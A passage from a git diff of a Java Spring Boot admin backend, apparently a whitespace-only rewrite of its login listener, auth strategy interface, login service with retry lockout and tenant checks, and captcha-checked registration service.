RedisUtils.setCacheObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue, dto); - } else { - RedisUtils.setCacheObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue, dto, Duration.ofSeconds(tokenConfig.getTimeout())); - } - }); - // 记录登录日志 - LogininforEvent logininforEvent = new LogininforEvent(); - logininforEvent.setTenantId(tenantId); - logininforEvent.setUsername(username); - logininforEvent.setStatus(Constants.LOGIN_SUCCESS); - logininforEvent.setMessage(MessageUtils.message("user.login.success")); - logininforEvent.setRequest(ServletUtils.getRequest()); - SpringUtils.context().publishEvent(logininforEvent); - // 更新登录信息 - loginService.recordLoginInfo((Long) loginModel.getExtra(LoginHelper.USER_KEY), ip); - log.info("user doLogin, userId:{}, token:{}", loginId, tokenValue); - } - - /** - * 每次注销时触发 - */ - @Override - public void doLogout(String loginType, Object loginId, String tokenValue) { - String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY)); - TenantHelper.dynamic(tenantId, () -> { - RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue); - }); - log.info("user doLogout, userId:{}, token:{}", loginId, tokenValue); - } - - /** - * 每次被踢下线时触发 - */ - @Override - public void doKickout(String loginType, Object loginId, String tokenValue) { - String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY)); - TenantHelper.dynamic(tenantId, () -> { - RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue); - }); - log.info("user doKickout, userId:{}, token:{}", loginId, tokenValue); - } - - /** - * 每次被顶下线时触发 - */ - @Override - public void doReplaced(String loginType, Object loginId, String tokenValue) { - String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY)); - TenantHelper.dynamic(tenantId, () -> { - RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue); - }); - log.info("user doReplaced, userId:{}, token:{}", loginId, tokenValue); - } - - /** - * 每次被封禁时触发 - */ - @Override - public void doDisable(String loginType, Object loginId, String service, int level, long disableTime) { - } - - /** - * 每次被解封时触发 - */ - @Override - public void doUntieDisable(String loginType, Object loginId, String service) { - } - - /** - * 每次打开二级认证时触发 - */ - @Override - public void doOpenSafe(String loginType, String tokenValue, String service, long safeTime) { - } - - /** - * 每次创建Session时触发 - */ - @Override - public void doCloseSafe(String loginType, String tokenValue, String service) { - } - - /** - * 每次创建Session时触发 - */ - @Override - public void doCreateSession(String id) { - } - - /** - * 每次注销Session时触发 - */ - @Override - public void doLogoutSession(String id) { - } - - /** - * 每次Token续期时触发 - */ - @Override - public void doRenewTimeout(String tokenValue, Object loginId, long timeout) { - } -} +package org.dromara.web.listener; + +import cn.dev33.satoken.config.SaTokenConfig; +import cn.dev33.satoken.listener.SaTokenListener; +import cn.dev33.satoken.stp.SaLoginModel; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.convert.Convert; +import cn.hutool.http.useragent.UserAgent; +import cn.hutool.http.useragent.UserAgentUtil; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.constant.CacheConstants; +import org.dromara.common.core.constant.Constants; +import org.dromara.common.core.domain.dto.UserOnlineDTO; +import org.dromara.common.core.utils.MessageUtils; +import org.dromara.common.core.utils.ServletUtils; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.ip.AddressUtils; +import org.dromara.common.log.event.LogininforEvent; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.web.service.SysLoginService; +import org.springframework.stereotype.Component; + +import java.time.Duration; + +/** + * 用户行为 侦听器的实现 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Component +@Slf4j +public class UserActionListener implements SaTokenListener { + + private final SaTokenConfig tokenConfig; + private final SysLoginService loginService; + + /** + * 每次登录时触发 + */ + @Override + public void doLogin(String loginType, Object loginId, String tokenValue, SaLoginModel loginModel) { + UserAgent userAgent = UserAgentUtil.parse(ServletUtils.getRequest().getHeader("User-Agent")); + String ip = ServletUtils.getClientIP(); + UserOnlineDTO dto = new UserOnlineDTO(); + dto.setIpaddr(ip); + dto.setLoginLocation(AddressUtils.getRealAddressByIP(ip)); + dto.setBrowser(userAgent.getBrowser().getName()); + dto.setOs(userAgent.getOs().getName()); + dto.setLoginTime(System.currentTimeMillis()); + dto.setTokenId(tokenValue); + String username = (String) loginModel.getExtra(LoginHelper.USER_NAME_KEY); + String tenantId = (String) loginModel.getExtra(LoginHelper.TENANT_KEY); + dto.setUserName(username); + dto.setClientKey((String) loginModel.getExtra(LoginHelper.CLIENT_KEY)); + dto.setDeviceType(loginModel.getDevice()); + dto.setDeptName((String) loginModel.getExtra(LoginHelper.DEPT_NAME_KEY)); + TenantHelper.dynamic(tenantId, () -> { + if(tokenConfig.getTimeout() == -1) { + RedisUtils.setCacheObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue, dto); + } else { + RedisUtils.setCacheObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue, dto, Duration.ofSeconds(tokenConfig.getTimeout())); + } + }); + // 记录登录日志 + LogininforEvent logininforEvent = new LogininforEvent(); + logininforEvent.setTenantId(tenantId); + logininforEvent.setUsername(username); + logininforEvent.setStatus(Constants.LOGIN_SUCCESS); + logininforEvent.setMessage(MessageUtils.message("user.login.success")); + logininforEvent.setRequest(ServletUtils.getRequest()); + SpringUtils.context().publishEvent(logininforEvent); + // 更新登录信息 + loginService.recordLoginInfo((Long) loginModel.getExtra(LoginHelper.USER_KEY), ip); + log.info("user doLogin, userId:{}, token:{}", loginId, tokenValue); + } + + /** + * 每次注销时触发 + */ + @Override + public void doLogout(String loginType, Object loginId, String tokenValue) { + String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY)); + TenantHelper.dynamic(tenantId, () -> { + RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue); + }); + log.info("user doLogout, userId:{}, token:{}", loginId, tokenValue); + } + + /** + * 每次被踢下线时触发 + */ + @Override + public void doKickout(String loginType, Object loginId, String tokenValue) { + String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY)); + TenantHelper.dynamic(tenantId, () -> { + RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue); + }); + log.info("user doKickout, userId:{}, token:{}", loginId, tokenValue); + } + + /** + * 每次被顶下线时触发 + */ + @Override + public void doReplaced(String loginType, Object loginId, String tokenValue) { + String tenantId = Convert.toStr(StpUtil.getExtra(tokenValue, LoginHelper.TENANT_KEY)); + TenantHelper.dynamic(tenantId, () -> { + RedisUtils.deleteObject(CacheConstants.ONLINE_TOKEN_KEY + tokenValue); + }); + log.info("user doReplaced, userId:{}, token:{}", loginId, tokenValue); + } + + /** + * 每次被封禁时触发 + */ + @Override + public void doDisable(String loginType, Object loginId, String service, int level, long disableTime) { + } + + /** + * 每次被解封时触发 + */ + @Override + public void doUntieDisable(String loginType, Object loginId, String service) { + } + + /** + * 每次打开二级认证时触发 + */ + @Override + public void doOpenSafe(String loginType, String tokenValue, String service, long safeTime) { + } + + /** + * 每次创建Session时触发 + */ + @Override + public void doCloseSafe(String loginType, String tokenValue, String service) { + } + + /** + * 每次创建Session时触发 + */ + @Override + public void doCreateSession(String id) { + } + + /** + * 每次注销Session时触发 + */ + @Override + public void doLogoutSession(String id) { + } + + /** + * 每次Token续期时触发 + */ + @Override + public void doRenewTimeout(String tokenValue, Object loginId, long timeout) { + } +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/service/IAuthStrategy.java b/ruoyi-admin/src/main/java/org/dromara/web/service/IAuthStrategy.java index a16414f..0d11689 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/service/IAuthStrategy.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/service/IAuthStrategy.java @@ -1,45 +1,45 @@ -package org.dromara.web.service; - - -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.system.domain.vo.SysClientVo; -import org.dromara.web.domain.vo.LoginVo; - -/** - * 授权策略 - * - * @author Michelle.Chung - */ -public interface IAuthStrategy { - - String BASE_NAME = "AuthStrategy"; - - /** - * 登录 - * - * @param body 登录对象 - * @param client 授权管理视图对象 - * @param grantType 授权类型 - * @return 登录验证信息 - */ - static LoginVo login(String body, SysClientVo client, String grantType) { - // 授权类型和客户端id - String beanName = grantType + BASE_NAME; - if (!SpringUtils.containsBean(beanName)) { - throw new ServiceException("授权类型不正确!"); - } - IAuthStrategy instance = SpringUtils.getBean(beanName); - return instance.login(body, client); - } - - /** - * 登录 - * - * @param body 登录对象 - * @param client 授权管理视图对象 - * @return 登录验证信息 - */ - LoginVo login(String body, SysClientVo client); - -} +package org.dromara.web.service; + + +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.system.domain.vo.SysClientVo; +import org.dromara.web.domain.vo.LoginVo; + +/** + * 授权策略 + * + * @author Michelle.Chung + */ +public interface IAuthStrategy { + + String BASE_NAME = "AuthStrategy"; + + /** + * 登录 + * + * @param body 登录对象 + * @param client 授权管理视图对象 + * @param grantType 授权类型 + * @return 登录验证信息 + */ + static LoginVo login(String body, SysClientVo client, String grantType) { + // 授权类型和客户端id + String beanName = grantType + BASE_NAME; + if (!SpringUtils.containsBean(beanName)) { + throw new ServiceException("授权类型不正确!"); + } + IAuthStrategy instance = SpringUtils.getBean(beanName); + return instance.login(body, client); + } + + /** + * 登录 + * + * @param body 登录对象 + * @param client 授权管理视图对象 + * @return 登录验证信息 + */ + LoginVo login(String body, SysClientVo client); + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/service/SysLoginService.java b/ruoyi-admin/src/main/java/org/dromara/web/service/SysLoginService.java index 22929b5..8467a93 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/service/SysLoginService.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/service/SysLoginService.java @@ -1,259 +1,259 @@ -package org.dromara.web.service; - -import cn.dev33.satoken.exception.NotLoginException; -import cn.dev33.satoken.stp.StpUtil; -import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.lang.Opt; -import cn.hutool.core.util.ObjectUtil; -import com.baomidou.lock.annotation.Lock4j; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import me.zhyd.oauth.model.AuthUser; -import org.dromara.common.core.constant.CacheConstants; -import org.dromara.common.core.constant.Constants; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.core.constant.TenantConstants; -import org.dromara.common.core.domain.dto.RoleDTO; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.enums.LoginType; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.exception.user.UserException; -import org.dromara.common.core.utils.*; -import org.dromara.common.log.event.LogininforEvent; -import org.dromara.common.mybatis.helper.DataPermissionHelper; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.common.tenant.exception.TenantException; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.system.domain.SysUser; -import org.dromara.system.domain.bo.SysSocialBo; -import org.dromara.system.domain.vo.*; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.system.service.*; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.stereotype.Service; - -import java.time.Duration; -import java.util.Date; -import java.util.List; -import java.util.function.Supplier; - -/** - * 登录校验方法 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Slf4j -@Service -public class SysLoginService { - - @Value("${user.password.maxRetryCount}") - private Integer maxRetryCount; - - @Value("${user.password.lockTime}") - private Integer lockTime; - - private final ISysTenantService tenantService; - private final ISysPermissionService permissionService; - private final ISysSocialService sysSocialService; - private final ISysRoleService roleService; - private final ISysDeptService deptService; - private final SysUserMapper userMapper; - - - /** - * 绑定第三方用户 - * - * @param authUserData 授权响应实体 - */ - @Lock4j - public void socialRegister(AuthUser authUserData) { - String authId = authUserData.getSource() + authUserData.getUuid(); - // 第三方用户信息 - SysSocialBo bo = BeanUtil.toBean(authUserData, SysSocialBo.class); - BeanUtil.copyProperties(authUserData.getToken(), bo); - Long userId = LoginHelper.getUserId(); - bo.setUserId(userId); - bo.setAuthId(authId); - bo.setOpenId(authUserData.getUuid()); - bo.setUserName(authUserData.getUsername()); - bo.setNickName(authUserData.getNickname()); - List checkList = sysSocialService.selectByAuthId(authId); - if (CollUtil.isNotEmpty(checkList)) { - throw new ServiceException("此三方账号已经被绑定!"); - } - // 查询是否已经绑定用户 - SysSocialBo params = new SysSocialBo(); - params.setUserId(userId); - params.setSource(bo.getSource()); - List list = sysSocialService.queryList(params); - if (CollUtil.isEmpty(list)) { - // 没有绑定用户, 新增用户信息 - sysSocialService.insertByBo(bo); - } else { - // 更新用户信息 - bo.setId(list.get(0).getId()); - sysSocialService.updateByBo(bo); - // 如果要绑定的平台账号已经被绑定过了 是否抛异常自行决断 - // throw new ServiceException("此平台账号已经被绑定!"); - } - } - - - /** - * 退出登录 - */ - public void logout() { - try { - LoginUser loginUser = LoginHelper.getLoginUser(); - if (ObjectUtil.isNull(loginUser)) { - return; - } - if (TenantHelper.isEnable() && LoginHelper.isSuperAdmin()) { - // 超级管理员 登出清除动态租户 - TenantHelper.clearDynamic(); - } - recordLogininfor(loginUser.getTenantId(), loginUser.getUsername(), Constants.LOGOUT, MessageUtils.message("user.logout.success")); - } catch (NotLoginException ignored) { - } finally { - try { - StpUtil.logout(); - } catch (NotLoginException ignored) { - } - } - } - - /** - * 记录登录信息 - * - * @param tenantId 租户ID - * @param username 用户名 - * @param status 状态 - * @param message 消息内容 - */ - public void recordLogininfor(String tenantId, String username, String status, String message) { - LogininforEvent logininforEvent = new LogininforEvent(); - logininforEvent.setTenantId(tenantId); - logininforEvent.setUsername(username); - logininforEvent.setStatus(status); - logininforEvent.setMessage(message); - logininforEvent.setRequest(ServletUtils.getRequest()); - SpringUtils.context().publishEvent(logininforEvent); - } - - /** - * 构建登录用户 - */ - public LoginUser buildLoginUser(SysUserVo user) { - LoginUser loginUser = new LoginUser(); - loginUser.setTenantId(user.getTenantId()); - loginUser.setUserId(user.getUserId()); - loginUser.setDeptId(user.getDeptId()); - loginUser.setUsername(user.getUserName()); - loginUser.setNickname(user.getNickName()); - loginUser.setUserType(user.getUserType()); - loginUser.setIdentity(user.getIdentity()); - loginUser.setRealName(user.getRealName()); - loginUser.setMenuPermission(permissionService.getMenuPermission(user.getUserId())); - loginUser.setRolePermission(permissionService.getRolePermission(user.getUserId())); - if (ObjectUtil.isNotNull(user.getDeptId())) { - Opt deptOpt = Opt.of(user.getDeptId()).map(deptService::selectDeptById); - loginUser.setDeptName(deptOpt.map(SysDeptVo::getDeptName).orElse(StringUtils.EMPTY)); - loginUser.setDeptCategory(deptOpt.map(SysDeptVo::getDeptCategory).orElse(StringUtils.EMPTY)); - } - List roles = roleService.selectRolesByUserId(user.getUserId()); - loginUser.setRoles(BeanUtil.copyToList(roles, RoleDTO.class)); - return loginUser; - } - - /** - * 记录登录信息 - * - * @param userId 用户ID - */ - public void recordLoginInfo(Long userId, String ip) { - SysUser sysUser = new SysUser(); - sysUser.setUserId(userId); - sysUser.setLoginIp(ip); - sysUser.setLoginDate(DateUtils.getNowDate()); - sysUser.setUpdateBy(userId); - DataPermissionHelper.ignore(() -> userMapper.updateById(sysUser)); - } - - /** - * 登录校验 - */ - public void checkLogin(LoginType loginType, String tenantId, String username, Supplier supplier) { - String errorKey = CacheConstants.PWD_ERR_CNT_KEY + username; - String loginFail = Constants.LOGIN_FAIL; - - // 获取用户登录错误次数,默认为0 (可自定义限制策略 例如: key + username + ip) - int errorNumber = ObjectUtil.defaultIfNull(RedisUtils.getCacheObject(errorKey), 0); - // 锁定时间内登录 则踢出 - if (errorNumber >= maxRetryCount) { - recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitExceed(), maxRetryCount, lockTime)); - throw new UserException(loginType.getRetryLimitExceed(), maxRetryCount, lockTime); - } - - if (supplier.get()) { - // 错误次数递增 - errorNumber++; - RedisUtils.setCacheObject(errorKey, errorNumber, Duration.ofMinutes(lockTime)); - // 达到规定错误次数 则锁定登录 - if (errorNumber >= maxRetryCount) { - recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitExceed(), maxRetryCount, lockTime)); - throw new UserException(loginType.getRetryLimitExceed(), maxRetryCount, lockTime); - } else { - // 未达到规定错误次数 - recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitCount(), errorNumber)); - throw new UserException(loginType.getRetryLimitCount(), errorNumber); - } - } - - // 登录成功 清空错误次数 - RedisUtils.deleteObject(errorKey); - } - - /** - * 校验租户 - * - * @param tenantId 租户ID - */ - public void checkTenant(String tenantId) { - if (!TenantHelper.isEnable()) { - return; - } - if (StringUtils.isBlank(tenantId)) { - throw new TenantException("tenant.number.not.blank"); - } - if (TenantConstants.DEFAULT_TENANT_ID.equals(tenantId)) { - return; - } - SysTenantVo tenant = tenantService.queryByTenantId(tenantId); - if (ObjectUtil.isNull(tenant)) { - log.info("登录租户:{} 不存在.", tenantId); - throw new TenantException("tenant.not.exists"); - } else if (SystemConstants.DISABLE.equals(tenant.getStatus())) { - log.info("登录租户:{} 已被停用.", tenantId); - throw new TenantException("tenant.blocked"); - } else if (ObjectUtil.isNotNull(tenant.getExpireTime()) - && new Date().after(tenant.getExpireTime())) { - log.info("登录租户:{} 已超过有效期.", tenantId); - throw new TenantException("tenant.expired"); - } - } - - /** - * 根据username查询用户对象 - * - * @param username - * @return - */ - public SysUserVo getSysUserByUsername(String username) { - return userMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getUserName,username)); - } - -} +package org.dromara.web.service; + +import cn.dev33.satoken.exception.NotLoginException; +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.bean.BeanUtil; +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.lang.Opt; +import cn.hutool.core.util.ObjectUtil; +import com.baomidou.lock.annotation.Lock4j; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import me.zhyd.oauth.model.AuthUser; +import org.dromara.common.core.constant.CacheConstants; +import org.dromara.common.core.constant.Constants; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.core.constant.TenantConstants; +import org.dromara.common.core.domain.dto.RoleDTO; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.enums.LoginType; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.exception.user.UserException; +import org.dromara.common.core.utils.*; +import org.dromara.common.log.event.LogininforEvent; +import org.dromara.common.mybatis.helper.DataPermissionHelper; +import org.dromara.common.redis.utils.RedisUtils; +import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.tenant.exception.TenantException; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.system.domain.SysUser; +import org.dromara.system.domain.bo.SysSocialBo; +import org.dromara.system.domain.vo.*; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.system.service.*; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; + +import java.time.Duration; +import java.util.Date; +import java.util.List; +import java.util.function.Supplier; + +/** + * 登录校验方法 + * + * @author Lion Li + */ +@RequiredArgsConstructor +@Slf4j +@Service +public class SysLoginService { + + @Value("${user.password.maxRetryCount}") + private Integer maxRetryCount; + + @Value("${user.password.lockTime}") + private Integer lockTime; + + private final ISysTenantService tenantService; + private final ISysPermissionService permissionService; + private final ISysSocialService sysSocialService; + private final ISysRoleService roleService; + private final ISysDeptService deptService; + private final SysUserMapper userMapper; + + + /** + * 绑定第三方用户 + * + * @param authUserData 授权响应实体 + */ + @Lock4j + public void socialRegister(AuthUser authUserData) { + String authId = authUserData.getSource() + authUserData.getUuid(); + // 第三方用户信息 + SysSocialBo bo = BeanUtil.toBean(authUserData, SysSocialBo.class); + BeanUtil.copyProperties(authUserData.getToken(), bo); + Long userId = LoginHelper.getUserId(); + bo.setUserId(userId); + bo.setAuthId(authId); + bo.setOpenId(authUserData.getUuid()); + bo.setUserName(authUserData.getUsername()); + bo.setNickName(authUserData.getNickname()); + List checkList = sysSocialService.selectByAuthId(authId); + if (CollUtil.isNotEmpty(checkList)) { + throw new ServiceException("此三方账号已经被绑定!"); + } + // 查询是否已经绑定用户 + SysSocialBo params = new SysSocialBo(); + params.setUserId(userId); + params.setSource(bo.getSource()); + List list = sysSocialService.queryList(params); + if (CollUtil.isEmpty(list)) { + // 没有绑定用户, 新增用户信息 + sysSocialService.insertByBo(bo); + } else { + // 更新用户信息 + bo.setId(list.get(0).getId()); + sysSocialService.updateByBo(bo); + // 如果要绑定的平台账号已经被绑定过了 是否抛异常自行决断 + // throw new ServiceException("此平台账号已经被绑定!"); + } + } + + + /** + * 退出登录 + */ + public void logout() { + try { + LoginUser loginUser = LoginHelper.getLoginUser(); + if (ObjectUtil.isNull(loginUser)) { + return; + } + if (TenantHelper.isEnable() && LoginHelper.isSuperAdmin()) { + // 超级管理员 登出清除动态租户 + TenantHelper.clearDynamic(); + } + recordLogininfor(loginUser.getTenantId(), loginUser.getUsername(), Constants.LOGOUT, MessageUtils.message("user.logout.success")); + } catch (NotLoginException ignored) { + } finally { + try { + StpUtil.logout(); + } catch (NotLoginException ignored) { + } + } + } + + /** + * 记录登录信息 + * + * @param tenantId 租户ID + * @param username 用户名 + * @param status 状态 + * @param message 消息内容 + */ + public void recordLogininfor(String tenantId, String username, String status, String message) { + LogininforEvent logininforEvent = new LogininforEvent(); + logininforEvent.setTenantId(tenantId); + logininforEvent.setUsername(username); + logininforEvent.setStatus(status); + logininforEvent.setMessage(message); + logininforEvent.setRequest(ServletUtils.getRequest()); + SpringUtils.context().publishEvent(logininforEvent); + } + + /** + * 构建登录用户 + */ + public LoginUser buildLoginUser(SysUserVo user) { + LoginUser loginUser = new LoginUser(); + loginUser.setTenantId(user.getTenantId()); + loginUser.setUserId(user.getUserId()); + loginUser.setDeptId(user.getDeptId()); + loginUser.setUsername(user.getUserName()); + loginUser.setNickname(user.getNickName()); + loginUser.setUserType(user.getUserType()); + loginUser.setIdentity(user.getIdentity()); + loginUser.setRealName(user.getRealName()); + loginUser.setMenuPermission(permissionService.getMenuPermission(user.getUserId())); + loginUser.setRolePermission(permissionService.getRolePermission(user.getUserId())); + if (ObjectUtil.isNotNull(user.getDeptId())) { + Opt deptOpt = Opt.of(user.getDeptId()).map(deptService::selectDeptById); + loginUser.setDeptName(deptOpt.map(SysDeptVo::getDeptName).orElse(StringUtils.EMPTY)); + loginUser.setDeptCategory(deptOpt.map(SysDeptVo::getDeptCategory).orElse(StringUtils.EMPTY)); + } + List roles = roleService.selectRolesByUserId(user.getUserId()); + loginUser.setRoles(BeanUtil.copyToList(roles, RoleDTO.class)); + return loginUser; + } + + /** + * 记录登录信息 + * + * @param userId 用户ID + */ + public void recordLoginInfo(Long userId, String ip) { + SysUser sysUser = new SysUser(); + sysUser.setUserId(userId); + sysUser.setLoginIp(ip); + sysUser.setLoginDate(DateUtils.getNowDate()); + sysUser.setUpdateBy(userId); + DataPermissionHelper.ignore(() -> userMapper.updateById(sysUser)); + } + + /** + * 登录校验 + */ + public void checkLogin(LoginType loginType, String tenantId, String username, Supplier supplier) { + String errorKey = CacheConstants.PWD_ERR_CNT_KEY + username; + String loginFail = Constants.LOGIN_FAIL; + + // 获取用户登录错误次数,默认为0 (可自定义限制策略 例如: key + username + ip) + int errorNumber = ObjectUtil.defaultIfNull(RedisUtils.getCacheObject(errorKey), 0); + // 锁定时间内登录 则踢出 + if (errorNumber >= maxRetryCount) { + recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitExceed(), maxRetryCount, lockTime)); + throw new UserException(loginType.getRetryLimitExceed(), maxRetryCount, lockTime); + } + + if (supplier.get()) { + // 错误次数递增 + errorNumber++; + RedisUtils.setCacheObject(errorKey, errorNumber, Duration.ofMinutes(lockTime)); + // 达到规定错误次数 则锁定登录 + if (errorNumber >= maxRetryCount) { + recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitExceed(), maxRetryCount, lockTime)); + throw new UserException(loginType.getRetryLimitExceed(), maxRetryCount, lockTime); + } else { + // 未达到规定错误次数 + recordLogininfor(tenantId, username, loginFail, MessageUtils.message(loginType.getRetryLimitCount(), errorNumber)); + throw new UserException(loginType.getRetryLimitCount(), errorNumber); + } + } + + // 登录成功 清空错误次数 + RedisUtils.deleteObject(errorKey); + } + + /** + * 校验租户 + * + * @param tenantId 租户ID + */ + public void checkTenant(String tenantId) { + if (!TenantHelper.isEnable()) { + return; + } + if (StringUtils.isBlank(tenantId)) { + throw new TenantException("tenant.number.not.blank"); + } + if (TenantConstants.DEFAULT_TENANT_ID.equals(tenantId)) { + return; + } + SysTenantVo tenant = tenantService.queryByTenantId(tenantId); + if (ObjectUtil.isNull(tenant)) { + log.info("登录租户:{} 不存在.", tenantId); + throw new TenantException("tenant.not.exists"); + } else if (SystemConstants.DISABLE.equals(tenant.getStatus())) { + log.info("登录租户:{} 已被停用.", tenantId); + throw new TenantException("tenant.blocked"); + } else if (ObjectUtil.isNotNull(tenant.getExpireTime()) + && new Date().after(tenant.getExpireTime())) { + log.info("登录租户:{} 已超过有效期.", tenantId); + throw new TenantException("tenant.expired"); + } + } + + /** + * 根据username查询用户对象 + * + * @param username + * @return + */ + public SysUserVo getSysUserByUsername(String username) { + return userMapper.selectVoOne(new LambdaQueryWrapper().eq(SysUser::getUserName,username)); + } + +} diff --git a/ruoyi-admin/src/main/java/org/dromara/web/service/SysRegisterService.java b/ruoyi-admin/src/main/java/org/dromara/web/service/SysRegisterService.java index 9ec0813..285cdd3 100644 --- a/ruoyi-admin/src/main/java/org/dromara/web/service/SysRegisterService.java +++ b/ruoyi-admin/src/main/java/org/dromara/web/service/SysRegisterService.java @@ -1,115 +1,115 @@ -package org.dromara.web.service; - -import cn.dev33.satoken.secure.BCrypt; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.constant.Constants; -import org.dromara.common.core.constant.GlobalConstants; -import org.dromara.common.core.domain.model.RegisterBody; -import org.dromara.common.core.enums.UserType; -import org.dromara.common.core.exception.user.CaptchaException; -import org.dromara.common.core.exception.user.CaptchaExpireException; -import org.dromara.common.core.exception.user.UserException; -import org.dromara.common.core.utils.MessageUtils; -import org.dromara.common.core.utils.ServletUtils; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.log.event.LogininforEvent; -import org.dromara.common.redis.utils.RedisUtils; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.common.web.config.properties.CaptchaProperties; -import org.dromara.system.domain.SysUser; -import org.dromara.system.domain.bo.SysUserBo; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.system.service.ISysUserService; -import org.springframework.stereotype.Service; - -/** - * 注册校验方法 - * - * @author Lion Li - */ -@RequiredArgsConstructor -@Service -public class SysRegisterService { - - private final ISysUserService userService; - private final SysUserMapper userMapper; - private final CaptchaProperties captchaProperties; - - /** - * 注册 - */ - public void register(RegisterBody registerBody) { - String tenantId = registerBody.getTenantId(); - String username = registerBody.getUsername(); - String password = registerBody.getPassword(); - // 校验用户类型是否存在 - String userType = UserType.getUserType(registerBody.getUserType()).getUserType(); - - boolean captchaEnabled = captchaProperties.getEnable(); - // 验证码开关 - if (captchaEnabled) { - validateCaptcha(tenantId, username, registerBody.getCode(), registerBody.getUuid()); - } - SysUserBo sysUser = new SysUserBo(); - sysUser.setUserName(username); - sysUser.setNickName(username); - sysUser.setPassword(BCrypt.hashpw(password)); - sysUser.setUserType(userType); - - boolean exist = TenantHelper.dynamic(tenantId, () -> { - return userMapper.exists(new LambdaQueryWrapper() - .eq(SysUser::getUserName, sysUser.getUserName())); - }); - if (exist) { - throw new UserException("user.register.save.error", username); - } - boolean regFlag = userService.registerUser(sysUser, tenantId); - if (!regFlag) { - throw new UserException("user.register.error"); - } - recordLogininfor(tenantId, username, Constants.REGISTER, MessageUtils.message("user.register.success")); - } - - /** - * 校验验证码 - * - * @param username 用户名 - * @param code 验证码 - * @param uuid 唯一标识 - */ - public void validateCaptcha(String tenantId, String username, String code, String uuid) { - String verifyKey = GlobalConstants.CAPTCHA_CODE_KEY + StringUtils.blankToDefault(uuid, ""); - String captcha = RedisUtils.getCacheObject(verifyKey); - RedisUtils.deleteObject(verifyKey); - if (captcha == null) { - recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire")); - throw new CaptchaExpireException(); - } - if (!code.equalsIgnoreCase(captcha)) { - recordLogininfor(tenantId, username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error")); - throw new CaptchaException(); - } - } - - /** - * 记录登录信息 - * - * @param tenantId 租户ID - * @param username 用户名 - * @param status 状态 - * @param message 消息内容 - * @return - */ - private void recordLogininfor(String tenantId, String username, String status, String message) { - LogininforEvent logininforEvent = new LogininforEvent(); - logininforEvent.setTenantId(tenantId); - logininforEvent.setUsername(username); - logininforEvent.setStatus(status); - logininforEvent.setMessage(message); - logininforEvent.setRequest(ServletUtils.getRequest()); - SpringUtils.context().publishEvent(logininforEvent); - } - -} +package org.dromara.web.service; + +import 